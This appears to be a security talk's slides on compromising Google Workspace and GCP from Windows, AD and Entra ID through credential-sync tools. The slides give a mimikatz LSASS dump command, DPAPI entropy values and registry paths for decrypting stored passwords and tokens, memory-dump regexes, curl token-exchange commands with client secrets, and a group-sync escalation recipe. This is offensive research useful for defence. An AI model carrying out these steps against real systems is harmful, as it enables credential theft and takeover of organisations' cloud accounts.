



Compromising Workspace from Windows, AD & EntraID

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GCPW - Google Credential Provider for Windows

Login into your Windows PC with your Workspace credentials

- Windows single sign-on with Workspace
- Fingerprint:
 - `gcpw_extension.exe` running
 - `HKLM:\SOFTWARE\Google\GCPW\Users`
 - `HKCU:\SOFTWARE\Google\Accounts`
 - `C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`
- Language: C++ (Chromium)



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- Get encrypted refresh tokens from the registry
 - HKCU:\SOFTWARE\Google\Accounts
 - Decrypt using DPAPI
 - If not there → Delete HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th → User will be asked to re-login and token will be stored
 - Integrated in Winpeas
- Get encrypted refresh tokens from the disk
 - %LocalAppData%\Google\Chrome\User Data\Default\Web Data
 - Key in: %LocalAppData%\Google\Chrome\User Data\Local State
 - Integrated in Winpeas
- Get refresh and access tokens from Chrome memory
 - Dump chrome.exe processes and search for regexes:
 - "ya29\[a-zA-Z0-9_\.\-]{50,}"
 - "1//[a-zA-Z0-9_\.\-]{50,}"



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- Recover clear-text password
 - Dump encrypted password from LSASS:
 - `mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit`
 - Ask Google for the private key to decrypt the password in https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}

```
Secret : Chrome-GCPW-S-1-5-21-1278643382-2119488581-3175993625-1004
cur/text: {"encrypted_password":"m4dM8dKrkg2/71H9yrHSrfqcfcuy8IWeBYjSkF50Gx6yEJ3rhhrW5L
LIXbdDJRc2l4SIi3bdd8sZRJso3En6dQ9WDC5sZEY65D5+dvAYIdMnVYojbh56846KdEsYqEzk1deIQ2QTPRDKy
VhrEEPNUWTHoP9iqet3gDT6Ty3dG2QHmWf12b+mQa+haN2+1f6mo6of4cPOQIUnxA7dNOxGfg00bUcfhs1YoUjS
m5k4WyyF29h+9yGEvkqunInfwkj9jyXg5w5qwDQ2Da17rc56A7V+Vjxiw7PWB4kaHRE/vBpwlv8R0/tBby+sQWY
VMI/WriAGuJp1EyZuEhYtxMk4WIHJl9mN374ppJG2PS0Jf8l+", "resource_id": "Cgw00DczNTc2MDk5NTQ5J
NiOWM2MTg1YmRmNA=="}
```

- More info:
 - https://www.youtube.com/watch?v=FEQxHRRP_5I
 - https://github.com/chromium/chromium/blob/c4920cc4fcae6defb75dc08a3b774a9bc3172c47/chrome/credential_provider/gaiacp/password_recovery_manager.cc



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- Token scopes?
 - Several so interesting
 - Most interesting:
 - List Workspaces directory & create users, access Google Drive, spreadsheets, vault, cloud storage... even "<https://www.googleapis.com/auth/any-api>" (?)

Generate access token:

```
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \  
  --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \  
  --data "grant_type=refresh_token" \  
  --data  
"refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMe  
ANHrF0eIPebz0dz0S987354AuSdX38LySlWf1I" \  
https://www.googleapis.com/oauth2/v4/token
```



GCDS - Google Cloud Directory Sync

Sync users & groups from AD to Workspace

- Fingerprint:
 - `C:\Program Files\Google Cloud Directory Sync\config-manager.exe`
 - `HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`
 - `open.recent` → **Configurations files with AD password & refresh tokens (encrypted)**
 - `HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`
- Language: Java



GCDS - Google Cloud Directory Sync

Sync users & groups from AD to Workspace

- Tokens
 - Get encrypted password and token from config XML file
 - Get IV and password from the registry:
HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util (wherever the prefs Java library store the preferences) in the string keys
/Encryption/Policy/V2.iv and /Encryption/Policy/V2.key stored in base64.
 - Integrated in Winpeas (almost...)
- Dump `config-manager.exe` processes, extract strings and check regexes:
 - Access tokens: `ya29\[a-zA-Z0-9_\.\-]{50,}`
 - Refresh tokens: `1//[a-zA-Z0-9_\.\-]{50,}`



GCDS - Google Cloud Directory Sync

Sync users & groups from AD to Workspace

- Token scopes?
 - Control users & groups → Create user, change passwords, add users into groups...
 - Default Workspace groups with admin access over GCP
 - Workspace user needs to be admin

Generate access token:

```
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \  
  --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \  
  --data "grant_type=refresh_token" \  
  --data  
  "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeA  
  NHrF0eIPebz0dz0S987354AuSdX38LySlWf1I" \  
  https://www.googleapis.com/oauth2/v4/token
```



GPS - Google Password Sync

Sync users passwords from AD to Workspace

- Fingerprint:
 - C:\Program Files\Google>Password Sync
 - password_sync_service.exe running
 - C:\ProgramData\Google\Google Apps Password Sync\config.xml
 - HKLM\Software\Google\Google Apps Password Sync
 - ADPassword
 - AuthToken
- Language: Go
- Configuration:
 - If no GUI → Configure a Service Account with permissions to manage Workspace
 - SA Credentials won't expire
 - If the SA project is compromised, the SA is compromised → All Workspaces & GCP is compromised. (Creds stored encrypted like the AuthToken in the registry).



GPS - Google Password Sync

Sync users passwords from AD to Workspace

- Google Tokens
 - Get encrypted password and token from registry
 - HKLM\Software\Google\Google Apps Password Sync
 - Decrypt them with DPAPI using reversed entropy bytes
 - ADPassword → entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };
 - AuthToken → entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
 - Decode base32hex the token and extract access and refresh token from it
 - Integrated in Winpeas
- Dump password_sync_service.exe processes, extract strings and check regexes:
 - Access tokens: ya29\[a-zA-Z0-9_\.\-]{50,}
 - Refresh tokens: 1//\[a-zA-Z0-9_\.\-]{50,}



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Sync users passwords from AD to Workspace

- Token scopes?
 - Control users → Change passwords
 - Workspace user needs to be admin

Generate access token:

```
curl -s --data  
"client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \  
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \  
--data "grant_type=refresh_token" \  
--data  
"refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9m  
qkBx79LjKOdskVrRDGgvzSCJY78" \  
https://www.googleapis.com/oauth2/v4/token
```



Admin Directory Sync

Sync users & groups from AD and EntraID to Workspace

- Configurable from <https://admin.google.com/ac/sync/externaldirectories>
- AD Configuration:
 - Give access to Google to your AD network via a GCP connector in a GCP network (need to use Cloud VPN or Cloud Interconnect) for on-premise.
 - Give AD credentials
 - Select users & groups to synchronize
 - Broken when I tried...
- EntraID Configuration:
 - Login via OAuth to EntraID
 - Select users & groups to synchronize
 - Other configs:
 - Send email to newly created users
 - Automatically change domain names from EntraID users & groups to the Workspace one
 - Possible to synchronize ALL groups



Admin Directory Sync

Sync users & groups from AD and EntraID to Workspace

- Groups Sync Privilege Escalation
 - If ALL groups are synchronized
 - If Workspace domain is used when synchronizing from Entra ID
 - If default groups were created in Workspace with default GCP permissions
 - i. `organization-admins@<workspace.domain>` has high GCP privileges
 - **Attack:**
 - i. Create Entra ID group `gcp-organization-admins@<entraid.domain>`
 - ii. Add Entra ID user to this group
 - iii. When synced: The user in Workspace will be added into `gcp-organization-admins@<workspace.domain>` getting admin access over GCP



BONUS: GCPPEASS



GCPPEASS

Find your GCP permissions

- Github: <https://github.com/carlospolop/cloudpeass>
- Given an access token, brute-force the permissions the principal has over the org, folders, projects and VMs, SAs, Storage & Functions inside each project
 - Usually permissions are given at project level
- No log is generated → Accepted by Google in Feb 2024 but still not fixed
- Moreover: If the access token has gmail and/or drive permissions, GCPPEASS will list some emails and files





Thank you!
Questions?

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